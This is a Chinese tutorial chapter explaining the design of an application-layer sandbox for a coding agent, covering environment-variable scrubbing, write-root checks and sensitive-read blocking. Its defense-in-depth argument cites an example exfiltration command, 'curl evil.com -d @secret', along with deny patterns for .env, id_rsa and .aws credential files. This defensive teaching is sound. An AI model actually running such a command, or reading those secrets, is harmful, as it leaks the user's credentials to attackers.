# Step 58: 安全沙箱
一句话导读:前两步是决策层(要不要放行);沙箱是隔离层——就算放行了、就算命令干了预期外的事,也被关在笼子里跑不出去。真沙箱靠内核,Windows 没有对等原语,所以本步做应用层沙箱:能真拦的真拦,拦不住的老实标注。
# 一、这一步做了什么(What)
新增 utils/sandbox/,核心是一个 Sandbox 类 + 一个进程内单例 current.ts:
- 环境擦除(
childEnv):Bash 工具 spawn 子进程时,抹掉密钥类环境变量(*KEY*/*TOKEN*/*SECRET*/*PASSWORD*/ANTHROPIC_*)——子命令读不到你的 API key。 - 写入边界(
canWrite):Write 工具的目标必须落在writableRoots(默认 cwd)内,越界拒写。 - 禁读敏感(
canRead):.env/id_rsa/.aws等片段命中即拦。 - 违规记录(
violations):越界尝试记进数组,/sandbox可查。
main() 启动时 setSandbox(sandbox) 装配单例,Bash/Write 工具通过 getSandbox() 拿到它,无需层层传参。
# 二、面试官视角:为什么要做?(Why)
面试题:已经有权限规则(step57)和风险分类器(step59)在放行前把关了,为什么还要沙箱?重复防御不是浪费吗?
因为决策和隔离是正交的两件事,任何一层都可能失手。
规则和分类器回答的是「要不要让它做」——但它们会漏(黑名单列不全、规则写宽了、LLM 误判)。沙箱回答的是「万一让它做了,能造成多大破坏」。这是纵深防御(defense in depth)的核心:不假设任何单层完美,而是让「决策失手」和「破坏发生」之间再隔一道墙。
举个具体的:一条 curl evil.com -d @secret 侥幸被判 safe 放行了。决策层已经失守。但如果子进程的环境里根本没有 API key 这个变量,这条命令即使跑起来,也 exfiltrate 不到任何东西——隔离层把「放行的错误」的后果摁住了。
| 层 | 回答的问题 | 失手的样子 |
|---|---|---|
| step57 规则 | 这个工具+参数放不放行 | 换工具绕过 |
| step59 分类器 | 这条命令危不危险 | 黑名单漏、LLM 误判 |
| step58 沙箱 | 放行了能跑出多远 | 应用层管不了子进程写盘/裸 socket |
一句话:决策层管「门」,隔离层管「墙」,一道失守还有另一道。
# 三、原理:它是怎么工作的(How)
# 先说诚实话:真沙箱要靠操作系统内核
真正的沙箱是系统调用级拦截,靠内核原语:
| 平台 | 内核机制 |
|---|---|
| macOS | seatbelt(sandbox-exec) |
| Linux | seccomp + bubblewrap + landlock |
| Windows | 没有对等原语 |
真实 Claude Code 用外部包 @anthropic-ai/sandbox-runtime 调这些内核机制拦 open/connect 等系统调用。Windows 上做不到内核级隔离,所以本步做的是应用层沙箱:能在自己代码里 enforce 的(自家 Write 工具、自家 spawn 的环境)真拦,管不了的(子进程绕过我们直接写盘)老实标注。platformNote() 就是这份诚实的落地——按平台如实报告真实版用什么、我们只有应用层。
# ① 环境擦除:本步最漂亮的一条——零内核依赖的真隔离
childEnv(base = process.env): NodeJS.ProcessEnv {
if (!this.enabled) return { ...base };
const out: NodeJS.ProcessEnv = {};
for (const [k, v] of Object.entries(base)) {
if (this.scrubEnvKeys.test(k)) continue; // 密钥类变量直接丢弃
out[k] = v;
}
if (!this.networkEnabled) { // 禁网:代理指向黑洞
out["HTTP_PROXY"] = out["HTTPS_PROXY"] = "http://127.0.0.1:9";
}
return out;
}
2
3
4
5
6
7
8
9
10
11
12
scrubEnvKeys 默认是 /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|ANTHROPIC)/i。Bash 工具 spawn 时用 env: getSandbox().childEnv() 传入这个擦除后的环境——子进程环境里根本没有密钥变量。这条为什么漂亮:它不靠拦截、不靠内核,靠的是「你给不了子进程它本来就没有的东西」,跨平台、零成本、真隔离。
# ② 写入边界 & ③ 禁读敏感:路径关系判断
canWrite(path: string): boolean {
if (!this.enabled) return true;
const target = isAbsolute(path) ? resolve(path) : resolve(process.cwd(), path);
const ok = this.writableRoots.some(root => {
const rel = relative(resolve(root), target);
return rel === "" || (!rel.startsWith("..") && !isAbsolute(rel));
});
if (!ok) this.violations.push({ kind: "fs-write", detail: path + " 不在可写根目录内" });
return ok;
}
2
3
4
5
6
7
8
9
10
和 step57 路径校验同样的套路:resolve 规范化后用 relative 看是否逃出根。Write 工具在写盘前调 canWrite,越界既拒写又记违规。canRead 则是简单的敏感片段包含判断。
# 数据流:一条被放行的 Bash 命令如何被隔离层摁住
模型: Bash({ command: "echo $ANTHROPIC_API_KEY" }) ← 已过 step57/59 放行
↓
bash.ts: spawn(cmd, { env: getSandbox().childEnv() })
↓
childEnv 遍历 process.env,ANTHROPIC_API_KEY 命中 scrubEnvKeys → 丢弃
↓
子进程环境里没有该变量 → echo 打印空 → 密钥没被读到 ✓
2
3
4
5
6
7
# 三层安全成形
step57 规则引擎 → 要不要放行(精确匹配 allow/deny) ┐
step59 分类器 → 这命令危不危险(语义判断) ┘ 决策层
step58 沙箱 → 就算放行也跑不出笼子(隔离兜底) ← 隔离层
2
3
# 四、深入追问(面试常见 follow-up)
Q:环境擦除凭什么算「真隔离」,而写入边界只算「应用层」?
A:区别在谁在 enforce。环境擦除是「我 spawn 子进程时,压根不把密钥放进它的环境」——这个约束由操作系统的进程边界保证,子进程无论怎么折腾都变不出一个它环境里没有的变量,是物理事实。而写入边界靠的是「我自己的 Write 工具会检查」——一旦命令绕过 Write 工具、用 Bash 的 > /etc/x 重定向直接写盘,我的检查根本不在那条路径上,管不了。前者是「给不了」,后者是「我劝你别」。
Q:那应用层沙箱到底拦不住什么?为什么不干脆也拦了?
A:拦不住两类,且都只有内核能拦:① Bash 子进程绕过写入策略直接写盘(> 重定向、子进程自己 open)——我只能 enforce 自家 Write 工具,管不了子进程的系统调用;② 程序直接开原始 socket 联网——禁网只设了代理黑洞,挡得住守规矩的 curl/npm,挡不住自己 connect() 的程序。这些要 seccomp 拦 open/connect 系统调用才做得到。与其假装拦住、给用户虚假的安全感,不如把边界如实画出来——安全上,假的隔离比没有隔离更危险。
Q:为什么用 getSandbox() 单例,而不是把 sandbox 对象一路传参给每个工具?
A:因为工具(Bash/Write)是在 registry 里注册的独立模块,main() 里才知道真实沙箱配置。若传参,得让 registry、执行器、每个工具签名都带上 sandbox——污染一大片。单例 current.ts 让工具在需要时 getSandbox() 现取,main() 启动时 setSandbox 装配一次,解耦「配置」和「使用」。默认单例是 enabled: false,装配前不误伤。
Q:沙箱默认开还是默认关?开了会不会把正常任务也误伤?
A:Sandbox 构造默认 enabled: true、writableRoots 默认 cwd、networkEnabled 默认 true。也就是「默认擦密钥 + 锁写入在项目内 + 允许联网」——这是个既安全又不太挡路的默认:正常任务本来就在项目目录里读写、也不需要读你的密钥,感知不到沙箱;只有越界和读密钥才会撞墙。enabled 可关,配置到 step61 会并入多层设置,方便 enterprise 强制开启。
# 五、踩坑 / 设计权衡
- 诚实优于假象:本步最大的设计立场就是「拦不住的老实标注」。
platformNote()明说 Windows 只有应用层,violations记录也只记我们真能观测到的越界。 - 权衡:环境擦除用「变量名模式匹配」而非白名单。抹掉所有
*KEY*/*TOKEN*/*SECRET*而不是逐个列——宁可误伤一个无害的KEYBOARD_LAYOUT,也不放过一个真密钥。安全默认偏保守。 - 禁网只掐代理:
HTTP_PROXY指向127.0.0.1:9黑洞,这是应用层能做的极限,注释里如实写明「挡不住直接开 socket 的程序」。
# 六、与真实源码的对照
| 我们的实现 | Claude Code 源码 |
|---|---|
| 应用层:环境擦除 + 写入边界 | @anthropic-ai/sandbox-runtime 内核级(seatbelt/bwrap/landlock) |
writableRoots/denyReadPaths/allowedHosts | allowWrite/denyWrite/denyRead/allowedDomains |
violations 数组 | SandboxViolationStore + 违规 UI |
platformNote() 平台诚实说明 | enabledPlatforms + 依赖/平台不支持时降级 |
| 还缺:系统调用级拦截、网络命名空间 | 内核沙箱才有 |
# 七、一句话总结
沙箱 = 决策失手后的最后一道墙:环境擦除是零内核依赖的真隔离(子进程环境里根本没有密钥),写入/禁读边界是应用层能 enforce 的部分,拦不住的(子进程直接写盘/裸 socket)老实标注留给内核——纵深防御的信条是「不信任任何单层完美」,所以门(决策)之外还得有墙(隔离)。
# 下一节预告
规则、分类器、沙箱各自的配置目前还散在代码里。step61 给它们一个正经的家——多层设置系统合并(user < project < local < cli < enterprise 深合并)。